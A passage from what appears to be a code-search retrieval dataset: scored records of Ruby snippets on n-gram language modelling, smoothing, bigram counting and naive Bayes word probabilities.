"text": "def calculate_kn_probability next_ngram: nil, ngram_model: 0, discount: 0.25, ngram_counts: @ngram_counts, good_turing_bins: @good_turing_bins, separator: \" \"\n local_ngram_model = ngram_model==0 ? next_ngram.split(separator).count : ngram_model\n \n return calculate_mle_probability(next_ngram: next_ngram, separator: separator) if local_ngram_model==1 # Recursion stops at the unigram model\n\n prefix_regex = /^#{next_ngram.split(separator)[0..-2].join(separator)}\\b/\n prefix = next_ngram.split(separator)[0..-2].join(separator)\n suffix = next_ngram.split(separator).last\n similar_ngrams = ngram_counts[local_ngram_model].select{|ngram, _| puts \"Found #{prefix.green} #{ngram.split[1..-1].join(\" \").brown}\" if (@verbose and ngram.match(prefix_regex)); ngram.match(prefix_regex)}.count # Number of words which complete the current n-1 gram, e.g. for the n-gram \"your house looks nice\" we count \"yhl ugly\", \"yhl fine\" etc. Notice - we don't counts the number of occurences for \"yhl ugly\" etc but only the number of lower-order ngrams which complete the current ngram.\n puts \"#{'Total of '.red + similar_ngrams.to_s.red + ' found.'.red} Now calculating counts.\" if @verbose\n similar_ngrams_total_counts = ngram_counts[local_ngram_model].reduce(0){|acc, (ngram, counts)| puts \"Found #{prefix.green} #{ngram.split[1..-1].join(\" \").brown} with raw count of #{counts}\" if (@verbose and ngram.match?(prefix_regex)); if ngram.match(prefix_regex) then acc += counts; else acc; end} # It's here that we actually sum up the counts\n puts \"#{'Total count is '.red + similar_ngrams_total_counts.to_s.red}\"\n ngrams_with_fixed_suffix = ngram_counts[local_ngram_model].reduce(0){|acc, (ngram, counts)| puts \"Found #{ngram.brown} / #{suffix.green} with raw count of #{counts}\" if (@verbose and ngram.match?(/^#{suffix}\\b/)); acc += counts if ngram.match?(/^#{suffix}\\b/); acc}\n\n first_term = [get_raw_counts(next_ngram).to_f - discount, 0].max / similar_ngrams_total_counts.to_f\n second_term = discount * (similar_ngrams.to_f/ngrams_with_fixed_suffix.to_f)\n \n return first_term + (second_term * calculate_kn_probability(next_ngram: next_ngram.split(separator)[1..-1].join(separator)))\n end",
"title": ""
},
{
"docid": "a4b79452d56c3a3210fb517634eccce8",
"score": "0.62812465",
"text": "def p(trigram)\n\n bigram = trigram[1..2]\n unigram = trigram[2..2]\n # see which case we fall into for this backoff scheme\n if @counts.include?(trigram)\n # p1 function, trigram exists\n return pML(trigram, @discount)\n else\n ngram = nil\n beta_gram = nil\n alpha = 0\n if @counts.include?(bigram)\n # p2 function, no trigram but bigram exists\n ngram = bigram\n beta_gram = trigram[0..1] # the words used to help generate a beta-set of zero-count trigram\n # alpha mass redistribution\n alpha = @weights[:p2] * (1 - pML(trigram, @discount))\n else\n # p3 function, no trigram or bigram\n ngram = unigram\n beta_gram = trigram[0..0] # the words used to help generate a beta-set of zero-count bigrams\n # alpha mass redistribution\n alpha = @weights[:p3] * (1 - pML(trigram, @discount))\n end\n\n numerator = pML(ngram) \n denominator = @beta_gram_cache.fetch(beta_gram, nil) \n if not denominator\n dgram = nil\n sum = 0\n @vocab.each do |v| # all permutations of vocab words\n dgram = beta_gram + [v]\n # that are zero-count ngrams of (w,w_i-1,w_i-2) or (w,w_i-1)\n if not @counts.include?(dgram)\n # should be part of the sum of pML(w|w_i-1) or pML(w)\n sum += pML(dgram.drop(1)) # drop w_i-2 or w_i-1 as needed\n end\n end\n\n @beta_gram_cache.store(beta_gram, sum)\n denominator = sum\n end\n\n if denominator == 0 then return 0 end\n return alpha * numerator / denominator\n end\n\n end",
"title": ""
},
{
"docid": "b8dcaa639a18c6448376973d36d686bd",
"score": "0.62567854",
"text": "def word_tag_probability(word, tag)\n denom = @tag_frequencies[tag]\n\n if denom.zero?\n 0\n else\n @word_tag_combos[\"#{word}/#{tag}\"] / denom.to_f\n end\n end",
"title": ""
},
{
"docid": "97e406e2a823c1953b83dfe6ad8b08f3",
"score": "0.62363577",
"text": "def dump_bigram_info_from_hash()\n\n cumulative_bigram_count = 0\n\n $bigram_count.keys.sort.each do |bigram|\n local_lead_word = bigram.split(/\\s/)[0] #shouldn't need to extract this each time\n cumulative_bigram_count += $bigram_count[bigram]\n cumulative_proportion = cumulative_bigram_count.to_f / $lead_word_count[local_lead_word].to_f\n puts sprintf(\"%s\\t%f\", bigram, cumulative_proportion )\n end\n\nend",
"title": ""
},
{
"docid": "9980321ef02a66e8bacb4170b46c7a44",
"score": "0.62209475",
"text": "def word_probability(word, category)\n total_words_in_category = total_word_count_in_category(category)\n return 0.0 if total_words_in_category == 0\n word_count(word, category).to_f / total_words_in_category\n end",
"title": ""
},
{
"docid": "659cf1cc628f005745478fb91ccd9ccd",
"score": "0.6212022",
"text": "def doc_probability(category)\n doc_prob = 1.0\n self.words.each do |word|\n doc_prob *= BayesCategory.where(:category=>category).first.word_probability(word[0])\n end\n doc_prob\n end",
"title": ""
},
{
"docid": "dee9621c6156290a0a79f19de6d913e6",
"score": "0.62085927",
"text": "def pEstimate(sentence)\n probability = 1\n tokens = sentence.split\n (2..(tokens.size-1)).to_a.each do |i|\n probability *= q(tokens[i-2..i])\n end\n probability\n end",
"title": ""
},
{
"docid": "029a8761353ec2e6a1a1e6f552a5de71",
"score": "0.6198233",
"text": "def probability_of_ngrams(ngrams)\n probabilities = probabilities_for(ngrams).values\n \n return (probabilities.inject { |joint,prob| joint * prob } || 0.0)\n end",
"title": ""
},
{
"docid": "9c2fb7c7aa7db0bfb8e039d9d73bbc0d",
"score": "0.6188971",
"text": "def bigram_compare(word1_bigrams, word2_bigrams)\n most_bigrams = [word1_bigrams.count, word2_bigrams.count].max\n num_matching(word1_bigrams, word2_bigrams).to_f / most_bigrams\n end",
"title": ""
},
{
"docid": "ea77eeac7a87b5e3016709c5afe0c7f9",
"score": "0.61854017",
"text": "def score(other_counts)\n\t\tscore = 0.0\n\t\tseen = 0\n\t\tother_counts.each { |k, v|\n\t\t\tcount = @trigram_counts[k]\n\t\t\tscore += v * Math.log(@probs[@trigram_counts[k]])\n\t\t}\n\t\tscore\n\tend",
"title": ""
},
{
"docid": "fd1a71c794b5cc68c3f7d8ed2a3c6bc7",
"score": "0.6178421",
"text": "def frequency_of(gram)\n @frequencies.fetch(gram,0)\n end",
"title": ""
},
{
"docid": "d2cb7eb7bf2e596f40a215e9082afd37",
"score": "0.61348134",
"text": "def probability_token_in_label(label, token)\n (@data[label][token] || 0).to_f / @doc_counts[label].to_f\n end",
"title": ""
},
{
"docid": "612744bf07fcc77f80b1f2172cf2f2f1",
"score": "0.6121978",
"text": "def weighted_probability(word)\n word = (Word === word ? word : get(word))\n\n p = BigDecimal.new(1)\n p = p * probability(word)\n p = p * file_probability(word, 1)\n #p = p * lexicon_weight(word)\n #p = p * weight_length(word)\n #p = p * weight_stem(word)\n #p = p * weight_plural(word)\n p\n end",
"title": ""
},
{
"docid": "a3211845fbb8d417184b9b5d5aa4bb04",
"score": "0.6111741",
"text": "def most_probable_next_word(string)\n words = string.split(\" \")\n bigram_key = words.last\n trigram_key = words.last(2).join(\" \") if words.count >= 2\n most_probable_word = \"\"\n\n ## if we can find trigram and trigram exists\n if words.count >= 2 and @trigrams[trigram_key] != nil\n # get w3 from grams with highest P(w1,w2,w3) = P(w1)*P(w2|w1)*P(w3|w1,w2)\n highest_probability = 0.0\n\n @unigrams.each_key do |word|\n tempProb = probability_of_sequence(trigram_key + \" \" + word)\n # if P(w1)*P(w2|w1)*P(w3|w1,w2) > highest_probability\n if tempProb > highest_probability\n highest_probability = tempProb\n most_probable_word = word\n end\n end\n\n puts \"ERROR IN TRIGRAMS\" if highest_probability == 0.0\n puts \"Trigram, highest_probability: \" + highest_probability.to_s + \" Perplexity: \" + perplexity(highest_probability, 3).round(4).to_s\n return most_probable_word\n ## if we can find a bigram and bigram exists\n elsif words.count >= 1 and @bigrams[bigram_key] != nil\n # get w2 from grams with highest P(w2|w1)\n highest_probability = 0.0\n\n @unigrams.each_key do |word|\n tempProb = probability_of_sequence(bigram_key + \" \" + word)\n # if P(w1)*P(w2|w1) > highest_probability\n if tempProb > highest_probability\n highest_probability = tempProb\n most_probable_word = word\n end\n end\n puts \"ERROR IN BIGRAMS\" if highest_probability == 0.0\n puts \"Bigram, highest_probability: \" + highest_probability.to_s + \" Perplexity: \" + perplexity(highest_probability, 2).round(4).to_s\n return most_probable_word\n ## return random unigram?\n else\n highest_probability = 0.0\n @unigrams.each_key do |word|\n tempProb = probability_of_sequence(word)\n # if P(w1)*P(w2|w1) > highest_probability\n if tempProb > highest_probability\n highest_probability = tempProb\n most_probable_word = word\n end\n end\n puts \"Unigram, highest_probability: \" + highest_probability.to_s + \" Perplexity: \" + perplexity(highest_probability, 1).round(4).to_s\n return most_probable_word\n end\n end",
"title": ""
},
{
"docid": "8ab7974b0ab312766e568a6f3fba53b2",
"score": "0.6073402",
"text": "def get_token_probability(token, category_index)\n denom = @total_token_counts[category_index] + @token_counts[category_index].size * @prior_token_count \n if denom == 0\n return 0\n else\n return ((@token_counts[category_index][token] || 0) + @prior_token_count).to_f / denom\n end\n end",
"title": ""
},
{
"docid": "8f04d530a1c8c8bce533d17488908943",
"score": "0.6071395",
"text": "def wordprob(word, category)\n numerator = self.word_count_in_category(word, category) + 1\n denominator = self.all_word_count_in_category(category) + self.vocabularies.size\n return numerator / denominator\n end",
"title": ""
},
{
"docid": "896e8cbc1bc57df18e12bcbcb6ffa68f",
"score": "0.60710406",
"text": "def file_probability(word, threshold=0)\n word = (Word === word ? word : get(word))\n n = 1 # at least one\n word.files.each do |f, c|\n n += 1 if c > threshold\n end\n BigDecimal.new(n) / corpus_files.size\n end",
"title": ""
},
{
"docid": "e82b77e9fee12f7d63e5ba46ed767176",
"score": "0.6024717",
"text": "def frequency(char)\n return 0 if (@size.nil? || @size <= 0)\n @map[char.upcase] * 100/@size\n end",
"title": ""
},
{
"docid": "c187c5b80941b9da25f3102b1348119c",
"score": "0.5990377",
"text": "def most_frequent_bigram(str)\n bigrams_hash = biagram_hash(str)\n bigrams_hash.key(bigrams_hash.values.max)\nend",
"title": ""
},
{
"docid": "d4d2d7404ba789e68abcf7be922de113",
"score": "0.5990095",
"text": "def pangram?\n return @hist.size == 26\n end",
"title": ""
},
{
"docid": "19d93ae39da3ca9ae941802401eb5c14",
"score": "0.59848964",
"text": "def probabilities\n Hash[ BayesCategory.all.to_a.collect { |word|\n [word.category, probability(word.category)]\n }]\n end",
"title": ""
},
{
"docid": "d4c0f9cdb1d8727255c8dfc42d3ee672",
"score": "0.594559",
"text": "def prob_word_dist(arr)\n\tcounts = {}\n\t(0..arr[0].size-1).each do |i|\n\t\tcounts[i] = {}\n\tend\n\tarr.each do |word|\n\t\t(0..word.size-1).each do |i|\n\t\t\tif counts[i].has_key?(word[i]) then\n\t\t\t\tcounts[i][word[i]] += 1\n\t\t\telse\n\t\t\t\tcounts[i][word[i]] = 1\n\t\t\tend\n\t\tend\n\tend\n\tresult = []\n\t(0..arr.size-1).each do |i|\n\t\tcurr_word = \"\"\n\t\t(0..arr[0].size-1).each do |j|\n\t\t\ttemp_arr = []\n\t\t\tcounts[j].keys.each do |char|\n\t\t\t\t(1..counts[i][char]) do\n\t\t\t\t\ttemp_arr.push(char)\n\t\t\t\tend\n\t\t\tend\n\t\t\tcurr_word += temp_arr[random * temp_arr.size]\n\t\tend\n\t\tresult.add[curr_word]\n\tend",
"title": ""
},
{
"docid": "e43a7f0b9285a48892fd7fe15c02d278",
"score": "0.5936904",
"text": "def dictionary\n @dictionary ||= ngrams.first.probabilities \n end",
"title": ""
},
{
"docid": "003cdaa9abb1ef22850d9cc05f36b9fb",
"score": "0.5930776",
"text": "def qML(ngram)\n # if the numerator count is zero, return zero\n if not @counts.include?(ngram) then return 0 end\n\n # extract a denominator ngram based on the size of the numerator ngram\n dgram = nil\n case ngram.size\n when 3\n # get a bigram\n dgram = ngram[0..1]\n when 2\n # get a unigram\n dgram= ngram[0..0]\n end\n\n if dgram\n # if the denominator count would be zero, return 0\n if not @counts.include?(dgram) then return 0 end\n return @counts.fetch(ngram, 0).to_f / @counts.fetch(dgram, 0).to_f\n else\n # if the denominator count would be zero, return 0\n if @word_count == 0 then return 0 end\n return @counts.fetch(ngram, 0).to_f / @word_count.to_f\n end\n\n rescue ZeroDivisionError\n 0\n end",
"title": ""
},
{
"docid": "af242385dbbd7d3cfc8c7cb5e24ae1c4",
"score": "0.59094816",
"text": "def calculate_gt_probability next_ngram: nil, ngram_model: 0, ngram_counts: @ngram_counts, good_turing_bins: @good_turing_bins, separator: \" \"\n local_ngram_model = ngram_model==0 ? next_ngram.split(separator).count : ngram_model\n next_ngram_rawcount = ngram_counts[local_ngram_model][next_ngram].to_i\n\n if next_ngram_rawcount == 0 # Distributing P*(unseen)\n return good_turing_bins[local_ngram_model][1].to_f/good_turing_bins[local_ngram_model][0] if @oov_counts.nil? # if no oov are set, we assign the whole probability mass to every missing token\n return (@leftover_probability[local_ngram_model]/@oov_counts[local_ngram_model].values.sum)*@oov_counts[local_ngram_model][next_ngram] # otherwise we assign only part of it\n else\n revised_counts = get_revised_counts next_ngram: next_ngram, ngram_model: local_ngram_model\n return revised_counts.to_f/good_turing_bins[local_ngram_model][0]\n end\n end",
"title": ""
},
{
"docid": "c876f10672ee6b724a9de885f43343ef",
"score": "0.589197",
"text": "def sentence_commonality(sentence)\n probability_of_ngrams(common_ngrams_from_sentence(sentence))\n end",
"title": ""
},
{
"docid": "0787384ad4e66fe1dc556028d0a8bff7",
"score": "0.5874413",
"text": "def most_frequent_bigram(str)\n bigram_count = Hash.new(0)\n\n # count each bigram appearance\n (0...str.length - 1).each do |i|\n bigram = str[i] + str[i+1]\n bigram_count[bigram] += 1\n end\n\n # return most frequent bigram\n bigram_count.max_by { |k, v| v }.first\nend",
"title": ""
},
{
"docid": "27d460f685bc182bab68225bcf16f513",
"score": "0.58641505",
"text": "def trigram_count()\n\t@corpus.each { |sentence_arr|\n\t prev_word_1 = \"\"\n\t prev_word_2 = \"\"\n\t sentence_arr.each { |word|\n\t\tif(prev_word_1 != \"\" && prev_word_2 != \"\")\n\t\t @trifreq[prev_word_1 + \" \" + prev_word_2 + \" \" + word] += 1\n\t\telsif(prev_word_1 == \"\" && prev_word_2 != \"\")\n\t\t @trifreq[\"PHI \"+prev_word_2+\" \"+word] += 1\n\t\telsif(prev_word_1 == \"\" && prev_word_2 == \"\")\n\t\t @trifreq[\"PHI PHI \"+word] += 1\t\n\t\tend \t \t\n\t\tprev_word_1 = prev_word_2 \n\t\tprev_word_2 = word\n\t }\n\t}\n end",
"title": ""
},
{
"docid": "a452eb192b58d1a3ab7a0ef115ad1514",
"score": "0.5857109",
"text": "def most_frequent_bigram(str)\n most_freq = \"\"\n highest_freq = 0\n bigram_hash = Hash.new(0)\n len = str.length\n (0...len-1).each { |idx| bigram_hash[str[idx..idx+1]] += 1 }\n bigram_hash.each do |k, v| \n if v > highest_freq\n most_freq = k \n highest_freq = v\n end\n end\n most_freq\nend",
"title": ""
},
{
"docid": "b9a04ae63a42757843356c13daa19ae8",
"score": "0.5852107",
"text": "def word_prob(category, word)\n cat_freq = word_freq(category, word)\n non_cat_freq = word_freq(counter.keys, word) - cat_freq\n cat_docs = doc_size(category)\n non_cat_docs = doc_size(doc_counter.keys) - cat_docs\n\n cat_prob = [1.0 * cat_freq / cat_docs, 1.0].min\n non_cat_prob = [1.0 * non_cat_freq / non_cat_docs, 1.0].min\n\n if cat_prob == 0.0\n cond_prob = 0.4\n else\n cond_prob = 1.0 * cat_prob / (cat_prob + non_cat_prob)\n end\n\n # STDOUT.puts \"#{category}-#{word}, cat #{cat_prob}, non_cat #{non_cat_prob}, cond_p #{cond_prob}\"\n\n cond_prob = [[cond_prob, 0.99].min, 0.01].max\n end",
"title": ""
},
{
"docid": "9d6a3aef55c5331906d61c7de307a300",
"score": "0.5848248",
"text": "def update_bigram_counts(words)\n\t(0..(words.length - 2)).each do |i|\n\t\tkey = words[i]\n\t\tif $bigrams.has_key? key\n\t\t\tcounts = $bigrams[key]\n\t\t\tif counts.has_key? words[i + 1]\n\t\t\t\tcounts[words[i + 1]] += 1\n\t\t\telse\n\t\t\t\tcounts[words[i + 1]] = 1\n\t\t\tend\n\t\telse\n\t\t\tcounts = {words[i + 1] => 1}\n\t\t\t$bigrams[key] = counts\n\t\tend\n\tend\nend",
"title": ""
},
{
"docid": "8f10fc0b80ea8f638f11df6611c8b816",
"score": "0.5841763",
"text": "def construct_bigram(title)\n\t#eliminate stop words before creating bigram counts\n\tpattern = /a\\b|an\\b|and\\b|by\\b|for\\b|from\\b|in\\b|of\\b|on\\b|or\\b|out\\b|the\\b|to\\b|with\\b/ #\\b to match the end of the word so it doesnt grab an when the word is and\n\ttitle.gsub!(pattern,\"\")\n\n\ttitle_array = title.split #split the title by words. (splits by spaces by default)\n\n\tfor i in 0..title_array.length-2\n\t\t$bigrams[title_array[i]]\n\t\tif $bigrams[title_array[i]] == nil #when the key/second hash does not exist, create a new one and initialize to 0 so we can increment\n\t\t\t$bigrams[title_array[i]] = Hash.new(0)\n\t\tend\n\t\t#increment value for the key by one\n\t\t$bigrams[title_array[i]][title_array[i+1]] += 1\n\tend\nend",
"title": ""
},
{
"docid": "614b3c6ff798021cd993da3c8010c969",
"score": "0.58180803",
"text": "def text_commonality(text)\n probability_of_ngrams(common_ngrams_from_text(text))\n end",
"title": ""
},
{
"docid": "ce46f4d7081d72f3c1dd3d9d5aafb309",
"score": "0.58155346",
"text": "def most_frequent_bigram(str)\n count = Hash.new(0)\n\n (0...str.length - 1).each do |i|\n bigram = str[i..i + 1]\n\n count[bigram] += 1\n end\n\n count.sort_by { |k, v| v } [-1][0]\nend",
"title": ""
},
{
"docid": "0363b2f7fbcb87e36f39ef12a5a93848",
"score": "0.5814226",
"text": "def pML(ngram, discount=0)\n # if the numerator count is zero, return zero\n if not @counts.include?(ngram) then return 0 end\n\n # extract a denominator ngram based on the size of the numerator ngram\n dgram = nil\n case ngram.size\n when 3\n dgram = ngram[0..1]\n when 2\n dgram= ngram[0..0]\n end\n\n result = 0\n if dgram\n # if the denominator count would be zero, return 0\n if not @counts.include?(dgram) then return 0 end\n # discount the numerator if needed\n result = (@counts.fetch(ngram, 0).to_f - discount) / @counts.fetch(dgram, 0).to_f\n else\n if @word_count == 0 then return 0 end\n # discount the numerator if needed\n result = (@counts.fetch(ngram, 0).to_f - discount) / @word_count.to_f\n end\n\n# puts \"#{ngram.inspect} #{result}\"\n return result\n\n rescue ZeroDivisionError\n 0\n end",
"title": ""
},
{
"docid": "77c07b50c20d25057b6a2840eb073f65",
"score": "0.5809941",
"text": "def word_prob(word, type)\n total_words_in_type = total_word_count_in_type(type)\n return total_words_in_type == 0 ? 0.0 : word_count(word, type).to_f / total_words_in_type\n end",
"title": ""
},
{
"docid": "bd403e0abb77ddb37069b12ac464ece1",
"score": "0.58047205",
"text": "def probability\n return @probability\n end",
"title": ""
},
{
"docid": "d5de1e9a2f0cf451c53bdf653f4b5eed",
"score": "0.5796977",
"text": "def most_frequent_bigram(str)\n bigram_hash = Hash.new(0)\n\n (0...str.length - 1).each do |idx|\n bigram_hash[str[idx] + str[idx+1]] += 1\n end\n\n sorted = bigram_hash.sort_by { |k, v| v }\n sorted[-1][0]\nend",
"title": ""
},
{
"docid": "7550db7d5ef2a23278251778b131e44b",
"score": "0.578404",
"text": "def pEstimate(sentence)\n probability = 1\n tokens = sentence.split\n (2..(tokens.size-1)).to_a.each do |i|\n probability *= p(tokens[i-2..i])\n end\n probability\n end",
"title": ""
},
{
"docid": "05a7e5eb6c65f44b4c475cc3259eec87",
"score": "0.5783301",
"text": "def most_frequent_bigram(str)\n counts = Hash.new(0)\n (0...str.length-1).each do |i|\n bigram = str[i..i + 1]\n counts[bigram] += 1\n end\n\n sorted = counts.sort_by { |h,v| v } # sorts by value \n sorted.last[0]\nend",
"title": ""
},
{
"docid": "1b477d3895c3ffee510657de1a52330f",
"score": "0.577499",
"text": "def most_frequent_bigram(str)\n binaries = [] \n letters = str.split(\"\") #\"thrill\"\n (0...(letters.length-1)).each_with_index do |letter,idx|\n binaries << (letters[idx] + letters[(idx + 1)])\n end\n hash = Hash.new(0)\n binaries.each do |pairs|\n hash[pairs] += 1 \n end\n sorted = hash.sort_by { |k , v| v }\n return sorted[-1][0]\nend",
"title": ""
},
{
"docid": "7254086f34c2021b1a208e6015584ea1",
"score": "0.57727563",
"text": "def most_frequent_bigram(str)\n h = Hash.new(0)\n bigrams = (0..str.length-2).map{|i| str[i..i+1]}\n bigrams.each {|bi| h[bi] += 1}\n h.key(h.values.max)\nend",
"title": ""
},
{
"docid": "8066a4b8a65352107e56676dc008567d",
"score": "0.5769943",
"text": "def word_frequency(text)\n norm_array = normalize(text).to_a\n freq = { }\n norm_array.each_with_object(Hash.new(0)){|key,hash| hash[key] += 1}\nend",
"title": ""
},
{
"docid": "a2cdbf953b3f34462f19e83b1777251d",
"score": "0.5766564",
"text": "def document_frequency\n @corpus.each_with_object({}) do |doc, df|\n doc.bag_of_words.keys.each do |word|\n df[word] = (df.fetch(word) { 0.0 }) + 1.0\n end\n end\n end",
"title": ""
},
{
"docid": "98941de867ea5e1a4346940c459fabcc",
"score": "0.57592744",
"text": "def most_frequent_bigram(str)\n bigram_hash = Hash.new(0)\n\n i = 0\n while i < str.length - 1\n bigram_hash[str[i..i+1]] += 1\n i += 1\n end\n\n bigram_hash.max_by {|k, v| v}[0]\nend",
"title": ""
},
{
"docid": "b191aac1ad1075ca8aa18011722b2c2f",
"score": "0.5750287",
"text": "def calculate_match_probability\n # two heuristics: \n # 1 is are their multiple words in term_text? if so, mark as probable\n # if not, does it match the anchor regexp? if so, mark as probable\n # else, mark as improbable\n \n # multiple words?\n anchor_regexp = \"(featuring|plus|the|presents|with|plus|and|\\,|\\&|[()]|\\/|\\:|\\-|^|$)\"\n nix_regexp = \"parking|\\svs\\.?\\s\" \n if artist_name=~/#{nix_regexp}/i\n self.match_probability=\"unlikely\"\n return nil\n end\n text=term_text.strip\n if text[\" \"]\n self.match_probability=\"likely\"\n return \"multpl\"\n end\n if artist_name=~/#{anchor_regexp}\\s*#{text}\\s*#{anchor_regexp}/i\n self.match_probability=\"likely\"\n return \"regexp\"\n end\n# if artist_name=~/#{anchor_regexp}\\s+?#{text}\\s+?#{anchor_regexp}/i\n# match_probability=\"likely\"\n# return \"regexp\"\n# end\n self.match_probability=\"unlikely\"\n return nil\n end",
"title": ""
},
{
"docid": "64e0fdf15745b80cdc103972c66cf30e",
"score": "0.5750269",
"text": "def addtoB(title)\n\t#title = \"let's see what this is doing\"\n\tstops = [\" a \", \" an \", \" and \", \" by \", \" for \", \" from \", \" in \", \" of \", \" on \", \" or \", \" out \", \" the \", \" to \", \" width \"] # list of stop words\n\tfor word in stops do # go through the stop words: if they exist in the sentence, we will...\n\t\t\ttitle = title.gsub(word, \" \") # changes word to NOTHING! Well, a space I guess. but still.\n\t\tend\n\n\ttitle_words = title.split(\" \") # splits title into various words\n\n\twhile (title_words.length > 1)\n\t\tfirst_word = title_words[0] # saves the first word to title bigram\n\t\tnext_wrd = title_words[1] # the next word in the title is the one we want to add\n\t\ttitle_words = title_words[1..-1] # chops off the first word and proceeds through\n\n\t\tif ($bigrams.has_key?(first_word)) # if we already have a key, we don't need a new hash\n\t\t\t# do nothing\n\t\telse\n\t\t\t$bigrams[first_word] = Hash.new # if word hasn't been encountered before, give it a new hash\n\t\tend\n\t\t\t\tif ($bigrams[first_word].has_key?(next_wrd)) # if the next word exists for the current word...\n\t\t\t\t\t$bigrams[first_word][next_wrd] = $bigrams[first_word][next_wrd] + 1 # then all we're doing is incrementing the count for that word by one.\n\t\t\t\telse\n\t\t\t\t$bigrams[first_word].merge!(next_wrd => 1) # otherwise, we will set the count of that word to one.\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "592ca9fc871f891d3e194f2043ecb90e",
"score": "0.57475096",
"text": "def probability_token_is_label(token, label, prob_label)\n token_count = token_count(token)\n prob_token = token_count / @doc_counts.values.reduce(:+).to_f\n return nil if prob_token == 0.0\n\n prob_token_in_label = probability_token_in_label(label, token)\n (prob_token_in_label * prob_label) / prob_token\n end",
"title": ""
},
{
"docid": "b4b655e61055bf8fa7a444ff16995ca6",
"score": "0.57460743",
"text": "def probability var, val\n unless self.count.zero?\n self.count{|r| r[var] == val}.fdiv(self.count)\n else\n 0\n end\n end",
"title": ""
},
{
"docid": "5918843540988cd246cc3cb3a8cc7f22",
"score": "0.5720607",
"text": "def percent_of_word(word)\n @total_count = SubWordJoin.where(word: word).count\n puts @total_count\n sub_count = 0\n @sub = SubDriver.where(driver: self)\n @sub.each do |sub|\n sub_count += SubWordJoin.where(word: word, sub_driver: sub).count\n end\n\n percent = (sub_count.to_f/@total_count)*100\n return percent.round(2)\n\n end",
"title": ""
},
{
"docid": "5577d93f131494c82482b1fd939ddb5d",
"score": "0.571913",
"text": "def freq\n @freq ||= begin\n # calculate ngram counts for the haystack\n counts = Hash.new(0)\n veach(\"Haystack\", @haystack) do |element|\n element.ngrams.each do |ngram|\n counts[ngram] += 1\n end\n end\n\n # turn counts into inverse frequencies\n map = Hash.new(1)\n total = counts.values.inject(&:+).to_f\n counts.each do |ngram, count|\n map[ngram] = ((total / count) * 10).round\n end\n map\n end\n end",
"title": ""
},
{
"docid": "0e825f6dad8390ced546141a4bd187f3",
"score": "0.5708175",
"text": "def word_freq(text)\n frequency = {}\n unique_words(text).each do |word|\n frequency[word] = 0\n end\n split_normalise(text).each do |word|\n frequency[word] += 1\n end\n frequency\nend",
"title": ""
},
{
"docid": "ce854b37d529343b988c0433fe00e599",
"score": "0.5697505",
"text": "def calculate\n document_frequency.each_with_object({}) do |(word, freq), idf|\n idf[word] = Math.log(@corpus.size/freq)\n end\n end",
"title": ""
},
{
"docid": "2f30df66a82efabe8e32f967fc170dd0",
"score": "0.5680021",
"text": "def calculate_probability(useful_results, reroll_count)\n return 100.0 * useful_results / ( 6 ** reroll_count )\n end",
"title": ""
},
{
"docid": "b1662f5600d642b662d503876bc00941",
"score": "0.5679883",
"text": "def probability_of_class(classification)\n @number_of_documents_in_class[classification] / @number_of_documents.to_f\n end",
"title": ""
},
{
"docid": "31457acb47b6965fd6eeda32a7deb844",
"score": "0.567592",
"text": "def most_frequent_bigram(str)\n bigram = Hash.new(0)\n (0...str.length).each { |index| bigram[str[index..index+1]] += 1 }\n bigram.key(bigram.values.max)\nend",
"title": ""
},
{
"docid": "bf817fe9ee6f6d1db7378d99674aae32",
"score": "0.567302",
"text": "def contar(texto)\n palavras = texto.split\n\n frequencies = Hash.new(0)\n\n palavras.each do |word|\n frequencies [word] += 1\n end\n\n frequencies = frequencies.sort_by do |wor, count|\n end\n frequencies.reverse!\n\n frequencies.each do |wor, count|\n puts wor + \" \" + count.to_s\n end\nend",
"title": ""
},
{
"docid": "d6af180dc27adb701552d7ec987fc2ff",
"score": "0.5669892",
"text": "def test_approach\n prefix = \"This pangram tallies \"\n solution = \"This pangram tallies five a's, one b, one c, two d's, twenty-eight e's, eight f's, six g's, eight h's, thirteen i's, one j, one k, three l's, two m's, eighteen n's, fifteen o's, two p's, one q, seven r's, twenty-five s's, twenty-two t's, four u's, four v's, nine w's, two x's, four y's and one z.\"\n pangram = SelfDocumentingPangram.new(prefix)\n assert_equal(solution, pangram.add_count(pangram.count(solution)))\n\n prefix = \"This terribly inefficient pangram contains \"\n solution = \"This terribly inefficient pangram contains five a's, two b's, three c's, two d's, thirty-one e's, six f's, four g's, ten h's, sixteen i's, one j, one k, three l's, two m's, twenty n's, thirteen o's, two p's, one q, twelve r's, twenty-eight s's, twenty-eight t's, three u's, three v's, nine w's, four x's, six y's and one z.\"\n pangram = SelfDocumentingPangram.new(prefix)\n assert_equal(solution, pangram.add_count(pangram.count(solution)))\n end",
"title": ""
},
{
"docid": "edaf7e17d065b011b479b4ad89e85d50",
"score": "0.5669096",
"text": "def gramos\r\n grams = 0\r\n @lista_alimentos.each do |i|\r\n grams += 100\r\n end\r\n return grams\r\n end",
"title": ""
},
{
"docid": "966f93ec9ecd1bb9615837e75f1ce81f",
"score": "0.56497025",
"text": "def frequency\n counts = Hash.new(0)\n self.words.each { |word| counts[word] += 1 }\n counts\n end",
"title": ""
},
{
"docid": "16f9ee9ce785d26d672e8a28561c214a",
"score": "0.56450146",
"text": "def most_frequent_bigram(str)\n bigrams = Hash.new(0)\n\n i = 0\n while i < str.length - 1\n bigrams[str[i..i+1]] += 1 \n i += 1\n end\n\n max_num = 0\n max = nil\n\n bigrams.each do |k,v|\n if v > max_num\n max_num = v\n max = k\n end\n end\n max\nend",
"title": ""
},
{
"docid": "5e68350848e81dede5726747520b47e9",
"score": "0.5630032",
"text": "def score(sentence)\n total_scores = 0\n rep_array = @sent_rep_compiler.compile(sentence)\n rep_array.each { |word| total_scores += @wts_scores_obj[word.id] }\n total_scores / rep_array.length\n end",
"title": ""
},
{
"docid": "4e98e474cf22bcd914e7c1d27bfdf1a6",
"score": "0.56216925",
"text": "def lexigram_counter(sequencetext)\n @sequencetext = sequencetext\n\t@lexigrams = lexigram_searcher(@sequencetext)\n\tif (@lexigrams === [\"no letters remain after processing\"])\n\t @lexigrams_count = 0\n else\n @lexigrams_count = @lexigrams.count.to_s\n end\n end",
"title": ""
},
{
"docid": "e3468a2561cefc513d73dcabb3cd1377",
"score": "0.5618389",
"text": "def english?(text)\n num_english = 0\n text_words = text.split(\" \")\n text_words.each do |text_word|\n WORDS_BY_FREQUENCY.each do |dict_word|\n if text_word == dict_word.upcase\n num_english += 1\n break\n end\n end\n end\n return num_english.to_f / text_words.length > 0.75\nend",
"title": ""
},
{
"docid": "291cd27e4346ee92c9f95068761fd5d7",
"score": "0.5617837",
